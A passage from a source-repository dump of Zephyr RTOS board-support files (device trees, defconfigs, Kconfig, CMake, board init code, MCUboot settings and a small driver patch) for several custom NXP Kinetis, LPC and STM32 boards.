&led_blue; 14 | sw0 = &btn0; 15 | sw1 = &btn1; 16 | sw2 = &btn2; 17 | mcuboot-led0 = &led_blue; 18 | mcuboot-button0 = &btn1; 19 | }; 20 | 21 | chosen { 22 | zephyr,sram = &sram0; 23 | zephyr,flash = &flash0; 24 | zephyr,console = &uart0; 25 | zephyr,code-partition = &slot0_partition; 26 | }; 27 | 28 | leds { 29 | compatible = "gpio-leds"; 30 | led_red: led_red { gpios = <&gpioc 3 GPIO_ACTIVE_LOW>; }; 31 | led_green: led_green { gpios = <&gpioc 2 GPIO_ACTIVE_LOW>; }; 32 | led_blue: led_blue { gpios = <&gpioc 1 GPIO_ACTIVE_LOW>; }; 33 | lin_cmdr_en: lin_cmdr_en { gpios = <&gpiod 4 GPIO_ACTIVE_HIGH>; }; 34 | lin_pwr_en: lin_pwr_en { gpios = <&gpiod 5 GPIO_ACTIVE_HIGH>; }; 35 | can_pwr_en: can_pwr_en { gpios = <&gpioa 5 GPIO_ACTIVE_HIGH>; }; 36 | }; 37 | 38 | buttons { 39 | compatible = "gpio-keys"; 40 | btn0: btn0 { gpios = <&gpiob 17 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 41 | btn1: btn1 { gpios = <&gpiob 18 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 42 | btn2: btn2 { gpios = <&gpiob 19 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 43 | }; 44 | 45 | soc { 46 | flexcan0: can@40024000 { 47 | compatible = "nxp,flexcan"; 48 | reg = <0x40024000 0x1000>; 49 | interrupts = <75 0>, <76 0>, <77 0>, <78 0>, <79 0>, <80 0>; 50 | interrupt-names = "mb-0-15", "bus-off", "error", "tx-warning", "rx-warning", "wake-up"; 51 | clocks = <&sim KINETIS_SIM_BUS_CLK 0x103C 4>; 52 | clk-source = <1>; 53 | sample-point = <875>; 54 | status = "disabled"; 55 | }; 56 | }; 57 | }; 58 | 59 | &sim { 60 | pllfll-select = ; 61 | er32k-select = ; 62 | flash_clk { 63 | clock-div = <5>; 64 | }; 65 | }; 66 | 67 | &flash0 { 68 | partitions { 69 | compatible = "fixed-partitions"; 70 | #address-cells = <1>; 71 | #size-cells = <1>; 72 | boot_partition: partition@0 { 73 | label = "mcuboot"; 74 | reg = <0x00000000 0x00010000>; // 64KiB 75 | read-only; 76 | }; 77 | slot0_partition: partition@10000 { 78 | label = "image-0"; 79 | reg = <0x00010000 0x000F0000>; // 960KiB 80 | }; 81 | }; 82 | }; 83 | 84 | &gpioa { 85 | status = "okay"; 86 | }; 87 | 88 | &gpiob { 89 | status = "okay"; 90 | }; 91 | 92 | &gpioc { 93 | status = "okay"; 94 | }; 95 | 96 | &gpiod { 97 | status = "okay"; 98 | }; 99 | 100 | &gpioe { 101 | status = "okay"; 102 | }; 103 | 104 | &uart0 { 105 | status = "okay"; 106 | current-speed = <115200>; 107 | pinctrl-0 = <&uart0_default>; 108 | pinctrl-names = "default"; 109 | }; 110 | 111 | &uart2 { 112 | status = "okay"; 113 | current-speed = <19200>; 114 | pinctrl-0 = <&uart2_default>; 115 | pinctrl-names = "default"; 116 | lin0: lin0 { 117 | compatible = "virtual,lin-uart"; 118 | status = "okay"; 119 | bitrate = <19200>; 120 | max-wait-percent = <150>; 121 | }; 122 | }; 123 | 124 | &flexcan0 { 125 | status = "okay"; 126 | pinctrl-0 = <&flexcan0_default>; 127 | pinctrl-names = "default"; 128 | }; 129 | 130 | zephyr_udc0: &usbotg { 131 | compatible = "nxp,kinetis-usbd"; 132 | status = "okay"; 133 | num-bidir-endpoints = <8>; 134 | }; 135 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/jabican_usb_pro_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=120000000 2 | CONFIG_OSC_LOW_POWER=y 3 | 4 | CONFIG_SERIAL=y 5 | CONFIG_CONSOLE=y 6 | CONFIG_UART_CONSOLE=y 7 | 8 | CONFIG_BUILD_OUTPUT_HEX=y 9 | CONFIG_BOOTLOADER_MCUBOOT=y 10 | CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="bootloader/mcuboot/root-rsa-2048.pem" 11 | # dfu-util -D build/zephyr/zephyr.signed.bin 12 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/mcuboot.conf: -------------------------------------------------------------------------------- 1 | # copy as boards/jabican_usb_pro.conf in bootloader/mcuboot/boot/zephyr before compiling 2 | 3 | CONFIG_SINGLE_APPLICATION_SLOT=y 4 | CONFIG_MCUBOOT_INDICATION_LED=y 5 | CONFIG_BOOT_USB_DFU_GPIO=y 6 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/zephyr.patch: -------------------------------------------------------------------------------- 1 | diff --git a/drivers/serial/uart_mcux.c b/drivers/serial/uart_mcux.c 2 | index 9e894addb6c..1aaafa2d0e9 100644 3 | --- a/drivers/serial/uart_mcux.c 4 | +++ b/drivers/serial/uart_mcux.c 5 | @@ -164,9 +164,11 @@ static int uart_mcux_err_check(const struct device *dev) 6 | err |= UART_ERROR_FRAMING; 7 | } 8 | 9 | - UART_ClearStatusFlags(config->base, kUART_RxOverrunFlag | 10 | - kUART_ParityErrorFlag | 11 | - kUART_FramingErrorFlag); 12 | + if (err) { 13 | + UART_ClearStatusFlags(config->base, kUART_RxOverrunFlag | 14 | + kUART_ParityErrorFlag | 15 | + kUART_FramingErrorFlag); 16 | + } 17 | 18 | return err; 19 | } 20 | diff --git a/soc/nxp/kinetis/k2x/soc.c b/soc/nxp/kinetis/k2x/soc.c 21 | index d5108fb49d9..0b1b5b4adee 100644 22 | --- a/soc/nxp/kinetis/k2x/soc.c 23 | +++ b/soc/nxp/kinetis/k2x/soc.c 24 | @@ -120,6 +120,9 @@ static ALWAYS_INLINE void clock_init(void) 25 | 26 | static int fsl_frdm_k22f_init(void) 27 | { 28 | + /* disable MPU (using MPU_CESR) */ 29 | + *((uint32_t*) 0x4000D000) = 0; 30 | + 31 | /* release I/O power hold to allow normal run state */ 32 | PMC->REGSC |= PMC_REGSC_ACKISO_MASK; 33 | 34 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if BOARD_K66F_BREAKOUT 2 | 3 | config OSC_XTAL0_FREQ 4 | default 12000000 5 | 6 | config MCG_PRDIV0 7 | default 0x0 8 | 9 | config MCG_VDIV0 10 | default 0x4 11 | 12 | # MCGOUTCLK = 12MHz/1*30/2 = 180MHz 13 | 14 | if NETWORKING 15 | 16 | config NET_L2_ETHERNET 17 | default y if !MODEM 18 | 19 | config ETH_MCUX_RMII_EXT_CLK 20 | default y 21 | 22 | endif # NETWORKING 23 | 24 | endif # BOARD_K66F_BREAKOUT 25 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/Kconfig.k66f_breakout: -------------------------------------------------------------------------------- 1 | config BOARD_K66F_BREAKOUT 2 | select SOC_MK66F18 3 | select SOC_PART_NUMBER_MK66FN2M0VMD18 4 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(pyocd "--target=k66f18") 2 | 3 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 4 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: k66f_breakout 3 | vendor: others 4 | socs: 5 | - name: mk66f18 6 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/k66f_breakout-pinctrl.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | &pinctrl { 4 | uart0_default: uart0_default { 5 | group0 { 6 | pinmux = , 7 | ; 8 | drive-strength = "low"; 9 | slew-rate = "fast"; 10 | }; 11 | }; 12 | 13 | spi0_default: spi0_default { 14 | group0 { 15 | pinmux = , 16 | , 17 | ; 18 | drive-strength = "low"; 19 | slew-rate = "fast"; 20 | }; 21 | }; 22 | 23 | spi1_default: spi1_default { 24 | group0 { 25 | pinmux = , 26 | , 27 | ; 28 | drive-strength = "low"; 29 | slew-rate = "fast"; 30 | }; 31 | }; 32 | 33 | i2c0_default: i2c0_default { 34 | group0 { 35 | pinmux = , 36 | ; 37 | drive-strength = "low"; 38 | drive-open-drain; 39 | slew-rate = "fast"; 40 | }; 41 | }; 42 | 43 | flexcan0_default: flexcan0_default { 44 | group0 { 45 | pinmux = ; 46 | drive-strength = "low"; 47 | bias-pull-up; 48 | slew-rate = "fast"; 49 | }; 50 | group1 { 51 | pinmux = ; 52 | drive-strength = "low"; 53 | slew-rate = "fast"; 54 | }; 55 | }; 56 | 57 | pinmux_enet: pinmux_enet { 58 | group1 { 59 | pinmux = , 60 | , 61 | , 62 | , 63 | , 64 | , 65 | , 66 | ; 67 | drive-strength = "low"; 68 | slew-rate = "fast"; 69 | }; 70 | }; 71 | 72 | pinmux_enet_mdio: pinmux_enet_mdio { 73 | group0 { 74 | pinmux = ; 75 | drive-strength = "low"; 76 | drive-open-drain; 77 | bias-pull-up; 78 | slew-rate = "fast"; 79 | }; 80 | group1 { 81 | pinmux = ; 82 | drive-strength = "low"; 83 | slew-rate = "fast"; 84 | }; 85 | }; 86 | }; 87 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/k66f_breakout.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include "k66f_breakout-pinctrl.dtsi" 4 | 5 | / { 6 | model = "MK66F Breakout Board"; 7 | compatible = "nxp,mk66f18", "nxp,k66f", "nxp,k6x"; 8 | 9 | chosen { 10 | zephyr,sram = &sram0; 11 | zephyr,flash = &flash0; 12 | zephyr,console = &uart0; 13 | }; 14 | 15 | aliases { 16 | led0 = &led_red; 17 | sw0 = &user_button; 18 | }; 19 | 20 | leds { 21 | compatible = "gpio-leds"; 22 | led_red: led_0 { gpios = <&gpiod 6 GPIO_ACTIVE_LOW>; }; 23 | led_green: led_1 { gpios = <&gpiod 5 GPIO_ACTIVE_LOW>; }; 24 | led_blue: led_2 { gpios = <&gpiod 4 GPIO_ACTIVE_LOW>; }; 25 | }; 26 | 27 | buttons { 28 | compatible = "gpio-keys"; 29 | user_button: button_0 { gpios = <&gpiod 7 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 30 | sd_detect: sd_det_0 { gpios = <&gpiod 10 (GPIO_ACTIVE_HIGH | GPIO_PULL_DOWN)>; }; 31 | usbid_0: usbid_0 { gpios = <&gpioe 9 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 32 | usbid_1: usbid_1 { gpios = <&gpioe 10 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 33 | }; 34 | }; 35 | 36 | &cpu0 { 37 | clock-frequency = <120000000>; 38 | }; 39 | 40 | &sim { 41 | pllfll-select = ; 42 | er32k-select = ; 43 | }; 44 | 45 | &gpioa { 46 | status = "okay"; 47 | }; 48 | 49 | &gpiob { 50 | status = "okay"; 51 | }; 52 | 53 | &gpioc { 54 | status = "okay"; 55 | }; 56 | 57 | &gpiod { 58 | status = "okay"; 59 | }; 60 | 61 | &gpioe { 62 | status = "okay"; 63 | }; 64 | 65 | &uart0 { 66 | status = "okay"; 67 | current-speed = <115200>; 68 | pinctrl-0 = <&uart0_default>; 69 | pinctrl-names = "default"; 70 | }; 71 | 72 | &adc0 { 73 | status = "okay"; 74 | }; 75 | 76 | &temp0 { 77 | status = "okay"; 78 | }; 79 | 80 | &spi0 { 81 | status = "okay"; 82 | pinctrl-0 = <&spi0_default>; 83 | pinctrl-names = "default"; 84 | cs-gpios = <&gpioc 4 GPIO_ACTIVE_LOW>; 85 | }; 86 | 87 | &spi1 { 88 | status = "okay"; 89 | pinctrl-0 = <&spi1_default>; 90 | pinctrl-names = "default"; 91 | cs-gpios = <&gpioe 4 GPIO_ACTIVE_LOW>; 92 | 93 | sdhc0: sdhc@0 { 94 | compatible = "zephyr,sdhc-spi-slot"; 95 | reg = <0>; 96 | status = "okay"; 97 | spi-max-frequency = <24000000>; 98 | mmc { 99 | compatible = "zephyr,sdmmc-disk"; 100 | status = "okay"; 101 | }; 102 | }; 103 | }; 104 | 105 | &i2c0 { 106 | status = "okay"; 107 | pinctrl-0 = <&i2c0_default>; 108 | pinctrl-names = "default"; 109 | }; 110 | 111 | &flexcan0 { 112 | status = "okay"; 113 | pinctrl-0 = <&flexcan0_default>; 114 | pinctrl-names = "default"; 115 | }; 116 | 117 | zephyr_udc0: &usbotg { 118 | compatible = "nxp,kinetis-usbd"; 119 | status = "okay"; 120 | num-bidir-endpoints = <8>; 121 | }; 122 | 123 | &enet_mac { 124 | status = "okay"; 125 | pinctrl-0 = <&pinmux_enet>; 126 | pinctrl-names = "default"; 127 | phy-handle = <&phy>; 128 | zephyr,random-mac-address; 129 | phy-connection-type = "rmii"; 130 | }; 131 | 132 | &enet_mdio { 133 | status = "okay"; 134 | pinctrl-0 = <&pinmux_enet_mdio>; 135 | pinctrl-names = "default"; 136 | phy: phy@0 { 137 | compatible = "microchip,ksz8081"; 138 | reg = <0>; 139 | status = "okay"; 140 | microchip,interface-type = "rmii-25MHz"; 141 | }; 142 | }; 143 | -------------------------------------------------------------------------------- /boards/others/k66f_breakout/k66f_breakout_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=120000000 2 | CONFIG_OSC_LOW_POWER=y 3 | CONFIG_ARM_MPU=y 4 | CONFIG_HW_STACK_PROTECTION=y 5 | 6 | CONFIG_SERIAL=y 7 | CONFIG_CONSOLE=y 8 | CONFIG_UART_CONSOLE=y 9 | 10 | CONFIG_BUILD_OUTPUT_HEX=y 11 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library() 2 | zephyr_library_sources(board.c) 3 | 4 | zephyr_include_directories(.) # override header :) 5 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if BOARD_K66F_USBHS 2 | 3 | config SYS_CLOCK_HW_CYCLES_PER_SEC 4 | default 180000000 if K6X_HSRUN 5 | default 120000000 6 | 7 | config OSC_XTAL0_FREQ 8 | default 12000000 9 | 10 | config MCG_PRDIV0 11 | default 0x0 12 | 13 | config MCG_VDIV0 14 | default 0xe if K6X_HSRUN 15 | default 0x4 16 | 17 | # MCGOUTCLK = 12MHz/1*30/2 = 180MHz 18 | # MCGOUTCLK = 12MHz/1*20/2 = 120MHz 19 | 20 | endif # BOARD_K66F_USBHS 21 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/Kconfig.k66f_usbhs: -------------------------------------------------------------------------------- 1 | config BOARD_K66F_USBHS 2 | select SOC_MK66F18 3 | select SOC_PART_NUMBER_MK66FN2M0VMD18 4 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/board.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #if CONFIG_USB_DC_NXP_EHCI 6 | #include "usb_phy.h" 7 | #include "usb.h" 8 | #endif 9 | 10 | static int k66f_usbhs_init(void) { 11 | // board powered by internal regulator, need to disable inrush limit 12 | SIM->USBPHYCTL |= SIM_USBPHYCTL_USBDISILIM(1); 13 | 14 | #if DT_NODE_HAS_STATUS(DT_NODELABEL(usbhs0), okay) && (CONFIG_USB_DC_NXP_EHCI || CONFIG_UDC_NXP_EHCI) 15 | CLOCK_EnableUsbhs0PhyPllClock(kCLOCK_UsbPhySrcExt, CONFIG_OSC_XTAL0_FREQ); 16 | CLOCK_EnableUsbhs0Clock(kCLOCK_UsbPhySrcExt, 0); 17 | 18 | #if CONFIG_USB_DC_NXP_EHCI 19 | usb_phy_config_struct_t usbPhyConfig = { 20 | .D_CAL = 0b0111, 21 | .TXCAL45DP = 0b0110, 22 | .TXCAL45DM = 0b0110, 23 | }; 24 | USB_EhciPhyInit(kUSB_ControllerEhci0, CONFIG_OSC_XTAL0_FREQ, &usbPhyConfig); 25 | #endif 26 | #endif 27 | 28 | return 0; 29 | } 30 | 31 | SYS_INIT(k66f_usbhs_init, PRE_KERNEL_2, 0); 32 | 33 | #ifdef CONFIG_MCUBOOT 34 | 35 | static int k66f_usbhs_sd_init(void) { 36 | static uint8_t fat_fs[1024] __aligned(4); // larger than FATFS 37 | struct fs_mount_t mp = { 38 | .type = FS_FATFS, 39 | .fs_data = &fat_fs, 40 | .mnt_point = "/SD:", 41 | }; 42 | fs_mount(&mp); // ignore error 43 | return 0; 44 | } 45 | 46 | SYS_INIT(k66f_usbhs_sd_init, APPLICATION, 0); 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(pyocd "--target=k66f18") 2 | 3 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 4 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: k66f_usbhs 3 | vendor: others 4 | socs: 5 | - name: mk66f18 6 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/k66f_usbhs-pinctrl.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | &pinctrl { 4 | uart0_default: uart0_default { 5 | group0 { 6 | pinmux = , 7 | ; 8 | drive-strength = "low"; 9 | slew-rate = "fast"; 10 | }; 11 | }; 12 | 13 | sdhc0_default: sdhc0_default { 14 | group0 { 15 | pinmux = , 16 | , 17 | , 18 | , 19 | ; 20 | drive-strength = "low"; 21 | slew-rate = "fast"; 22 | }; 23 | group1 { 24 | pinmux = ; 25 | drive-strength = "low"; 26 | slew-rate = "fast"; 27 | bias-pull-down; // needed for DAT3 detection 28 | }; 29 | }; 30 | }; 31 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/k66f_usbhs.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | 3 | #include 4 | #include 5 | #include "k66f_usbhs-pinctrl.dtsi" 6 | 7 | / { 8 | model = "k66f_usbhs"; 9 | compatible = "nxp,mk66f18", "nxp,k66f", "nxp,k6x"; 10 | 11 | chosen { 12 | zephyr,sram = &sram0; 13 | zephyr,flash = &flash0; 14 | zephyr,code-partition = &slot0_partition; 15 | zephyr,console = &uart0; 16 | }; 17 | 18 | aliases { 19 | led0 = &led_r; 20 | led1 = &led_g; 21 | led2 = &led_b; 22 | sw0 = &usr_btn; 23 | mcuboot-led0 = &led_b; 24 | mcuboot-button0 = &usr_btn; 25 | }; 26 | 27 | leds { 28 | compatible = "gpio-leds"; 29 | led_r: led_r { gpios = <&gpioc 1 GPIO_ACTIVE_LOW>; }; 30 | led_g: led_g { gpios = <&gpioc 2 GPIO_ACTIVE_LOW>; }; 31 | led_b: led_b { gpios = <&gpioc 3 GPIO_ACTIVE_LOW>; }; 32 | }; 33 | 34 | buttons { 35 | compatible = "gpio-keys"; 36 | usr_btn: usr_btn { gpios = <&gpioc 4 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; zephyr,code = ; }; 37 | sd_det: sd_det { gpios = <&gpioa 10 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; zephyr,code = ; }; 38 | }; 39 | 40 | // additions to make USB HS work 41 | usbclk: usbpll-clock { 42 | compatible = "fixed-clock"; 43 | clock-frequency = <480000000>; 44 | #clock-cells = <0>; 45 | }; 46 | 47 | soc { 48 | usbhs0: usbd@400a1000 { 49 | compatible = "nxp,ehci"; 50 | reg = <0x400a1000 0x200>; 51 | interrupts = <93 1>; // USBHS_IRQn 52 | interrupt-names = "usb_otg"; 53 | clocks = <&usbclk>; 54 | num-bidir-endpoints = <8>; 55 | status = "disabled"; 56 | }; 57 | 58 | usbphy0: usbphy@400a2000 { 59 | compatible = "nxp,usbphy"; 60 | reg = <0x400a2000 0x1000>; 61 | status = "disabled"; 62 | }; 63 | 64 | sdhc0: sdhc@400b1000 { 65 | compatible = "nxp,mcux-sdhc"; 66 | reg = <0x400b1000 0x100>; 67 | interrupts = <81 0>; // SDHC_IRQn 68 | clocks = <&sim KINETIS_SIM_CORESYS_CLK 0x1030 17>; // kCLOCK_Sdhc0 69 | max-bus-freq = <25000000>; // 50MHz doesn't work on some cheap cards 70 | status = "disabled"; 71 | }; 72 | }; 73 | }; 74 | 75 | &sim { 76 | pllfll-select = ; 77 | er32k-select = ; 78 | core_clk { clock-div = <1>; }; // max 180MHz 79 | bus_clk { clock-div = <3>; }; // max 60MHz 80 | flexbus_clk { clock-div = <3>; }; // max 60MHz 81 | flash_clk { clock-div = <7>; }; // max 28MHz 82 | }; 83 | 84 | &flash0 { 85 | partitions { 86 | compatible = "fixed-partitions"; 87 | #address-cells = <1>; 88 | #size-cells = <1>; 89 | boot_partition: partition@0 { 90 | label = "mcuboot"; 91 | reg = <0x00000000 0x00010000>; // 64KiB 92 | read-only; 93 | }; 94 | slot0_partition: partition@10000 { 95 | label = "image-0"; 96 | reg = <0x00010000 0x001f0000>; // 1984KiB 97 | }; 98 | }; 99 | }; 100 | 101 | &gpioa { 102 | status = "okay"; 103 | }; 104 | 105 | &gpioc { 106 | status = "okay"; 107 | }; 108 | 109 | &gpioe { 110 | status = "okay"; 111 | }; 112 | 113 | &uart0 { 114 | status = "okay"; 115 | current-speed = <115200>; 116 | pinctrl-0 = <&uart0_default>; 117 | pinctrl-names = "default"; 118 | }; 119 | 120 | zephyr_udc0: &usbhs0 { 121 | status = "okay"; 122 | phy_handle = <&usbphy0>; 123 | }; 124 | 125 | &usbphy0 { 126 | status = "okay"; 127 | tx-d-cal = <7>; 128 | tx-cal-45-dp-ohms = <6>; 129 | tx-cal-45-dm-ohms = <6>; 130 | }; 131 | 132 | &sdhc0 { 133 | status = "okay"; 134 | pinctrl-0 = <&sdhc0_default>; 135 | pinctrl-names = "default"; 136 | power-delay-ms = <250>; 137 | sdmmc { 138 | compatible = "zephyr,sdmmc-disk"; 139 | status = "okay"; 140 | }; 141 | }; 142 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/k66f_usbhs_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_OSC_LOW_POWER=y 2 | 3 | # TODO allow USB HS and SDHC access and enable 4 | CONFIG_ARM_MPU=n 5 | CONFIG_HW_STACK_PROTECTION=n 6 | 7 | CONFIG_SERIAL=y 8 | CONFIG_CONSOLE=y 9 | CONFIG_UART_CONSOLE=y 10 | 11 | CONFIG_BUILD_OUTPUT_HEX=y 12 | CONFIG_BOOTLOADER_MCUBOOT=y 13 | CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="bootloader/mcuboot/root-rsa-2048.pem" 14 | # dfu-util -D build/zephyr/zephyr.signed.bin 15 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/mcuboot.conf: -------------------------------------------------------------------------------- 1 | # copy as boards/k66f_usbhs.conf in bootloader/mcuboot/boot/zephyr before compiling 2 | 3 | CONFIG_SINGLE_APPLICATION_SLOT=y 4 | CONFIG_MCUBOOT_INDICATION_LED=y 5 | CONFIG_BOOT_USB_DFU_GPIO=y 6 | 7 | # HSRUN can't write flash 8 | CONFIG_K6X_HSRUN=n 9 | 10 | # add MSC to expose SD card 11 | CONFIG_USB_MASS_STORAGE=y 12 | CONFIG_MASS_STORAGE_DISK_NAME="SD" 13 | CONFIG_FILE_SYSTEM=y 14 | CONFIG_FAT_FILESYSTEM_ELM=y 15 | CONFIG_DISK_DRIVER_SDMMC=y 16 | -------------------------------------------------------------------------------- /boards/others/k66f_usbhs/usb_device_ehci.h: -------------------------------------------------------------------------------- 1 | #define CONFIG_SOC_SERIES_RW6XX 2 | 3 | #include_next "usb_device_ehci.h" 4 | -------------------------------------------------------------------------------- /boards/others/leveler/Kconfig.leveler: -------------------------------------------------------------------------------- 1 | config BOARD_LEVELER 2 | select SOC_STM32F401XE 3 | -------------------------------------------------------------------------------- /boards/others/leveler/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(stm32cubeprogrammer "--port=swd" "--reset=hw") 2 | 3 | include(${ZEPHYR_BASE}/boards/common/stm32cubeprogrammer.board.cmake) 4 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 5 | -------------------------------------------------------------------------------- /boards/others/leveler/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: leveler 3 | vendor: others 4 | socs: 5 | - name: stm32f401xe 6 | -------------------------------------------------------------------------------- /boards/others/leveler/leveler.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | 5 | / { 6 | model = "UR@B leveler training board"; 7 | compatible = "st,stm32f401ce", "leveler"; 8 | 9 | chosen { 10 | zephyr,console = &usart1; 11 | zephyr,sram = &sram0; 12 | zephyr,flash = &flash0; 13 | }; 14 | 15 | aliases { 16 | led0 = &led_red; 17 | led1 = &led_green; 18 | led2 = &led_blue; 19 | sw0 = &user_button; 20 | pwm-led0 = &led_red_pwm; 21 | red-pwm-led = &led_red_pwm; 22 | green-pwm-led = &led_green_pwm; 23 | blue-pwm-led = &led_blue_pwm; 24 | }; 25 | 26 | leds { 27 | compatible = "gpio-leds"; 28 | led_red: led_0 { gpios = <&gpioa 2 GPIO_ACTIVE_LOW>; }; 29 | led_green: led_1 { gpios = <&gpioa 1 GPIO_ACTIVE_LOW>; }; 30 | led_blue: led_2 { gpios = <&gpioa 0 GPIO_ACTIVE_LOW>; }; 31 | }; 32 | 33 | pwmleds { 34 | compatible = "pwm-leds"; 35 | led_red_pwm: led_red_pwm { pwms = <&pwm2 3 0 PWM_POLARITY_INVERTED>; }; 36 | led_green_pwm: led_green_pwm { pwms = <&pwm2 2 0 PWM_POLARITY_INVERTED>; }; 37 | led_blue_pwm: led_blue_pwm { pwms = <&pwm2 1 0 PWM_POLARITY_INVERTED>; }; 38 | }; 39 | 40 | gpio_keys { 41 | compatible = "gpio-keys"; 42 | user_button: button { gpios = <&gpioa 3 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 43 | }; 44 | }; 45 | 46 | &clk_hse { 47 | clock-frequency = ; 48 | status = "okay"; 49 | }; 50 | 51 | &pll { 52 | div-m = <4>; 53 | mul-n = <72>; 54 | div-p = <2>; 55 | div-q = <3>; 56 | clocks = <&clk_hse>; 57 | status = "okay"; 58 | }; 59 | 60 | &rcc { 61 | clocks = <&pll>; 62 | clock-frequency = ; 63 | ahb-prescaler = <1>; 64 | apb1-prescaler = <2>; 65 | apb2-prescaler = <1>; 66 | }; 67 | 68 | &rtc { 69 | status = "okay"; 70 | }; 71 | 72 | &wwdg { 73 | status = "okay"; 74 | }; 75 | 76 | &usart1 { 77 | status = "okay"; 78 | pinctrl-0 = <&usart1_tx_pa9 &usart1_rx_pa10>; 79 | pinctrl-names = "default"; 80 | current-speed = <115200>; 81 | }; 82 | 83 | zephyr_udc0: &usbotg_fs { 84 | status = "okay"; 85 | pinctrl-0 = <&usb_otg_fs_dm_pa11 &usb_otg_fs_dp_pa12>; 86 | pinctrl-names = "default"; 87 | }; 88 | 89 | &i2c1 { 90 | status = "okay"; 91 | pinctrl-0 = <&i2c1_scl_pb6 &i2c1_sda_pb7>; 92 | pinctrl-names = "default"; 93 | clock-frequency = ; 94 | lsm6dsl@6a { 95 | compatible = "st,lsm6dsl"; 96 | reg = <0x6a>; 97 | irq-gpios = <&gpiob 8 GPIO_ACTIVE_HIGH>, <&gpiob 9 GPIO_ACTIVE_HIGH>; 98 | }; 99 | }; 100 | 101 | &timers2 { 102 | status = "okay"; 103 | pwm2: pwm { 104 | status = "okay"; 105 | pinctrl-0 = <&tim2_ch1_pa0 &tim2_ch2_pa1 &tim2_ch3_pa2>; 106 | pinctrl-names = "default"; 107 | }; 108 | }; 109 | -------------------------------------------------------------------------------- /boards/others/leveler/leveler_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=72000000 2 | CONFIG_ARM_MPU=y 3 | CONFIG_HW_STACK_PROTECTION=y 4 | CONFIG_CLOCK_CONTROL=y 5 | CONFIG_PINCTRL=y 6 | 7 | CONFIG_SERIAL=y 8 | CONFIG_CONSOLE=y 9 | CONFIG_UART_CONSOLE=y 10 | 11 | CONFIG_GPIO=y 12 | -------------------------------------------------------------------------------- /boards/others/leveler/support/openocd.cfg: -------------------------------------------------------------------------------- 1 | source [find interface/cmsis-dap.cfg] 2 | source [find target/stm32f4x.cfg] 3 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | zephyr_library() 4 | zephyr_library_sources(board.c) 5 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/Kconfig.lpc845_lin: -------------------------------------------------------------------------------- 1 | config BOARD_LPC845_LIN 2 | select SOC_LPC845 3 | select SOC_PART_NUMBER_LPC845M301JHI33 4 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/board.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static int board_init(void) { 5 | // P0_17 and P0_23 need to be open-drain for LIN transceiver method 6 | IOCON_PinMuxSet(IOCON, IOCON_INDEX_PIO0_17, IOCON_HYS_EN | IOCON_OPENDRAIN_EN); 7 | IOCON_PinMuxSet(IOCON, IOCON_INDEX_PIO0_23, IOCON_HYS_EN | IOCON_OPENDRAIN_EN); 8 | 9 | return 0; 10 | } 11 | 12 | SYS_INIT(board_init, POST_KERNEL, CONFIG_KERNEL_INIT_PRIORITY_DEVICE); 13 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(pyocd "--target=lpc845") 2 | 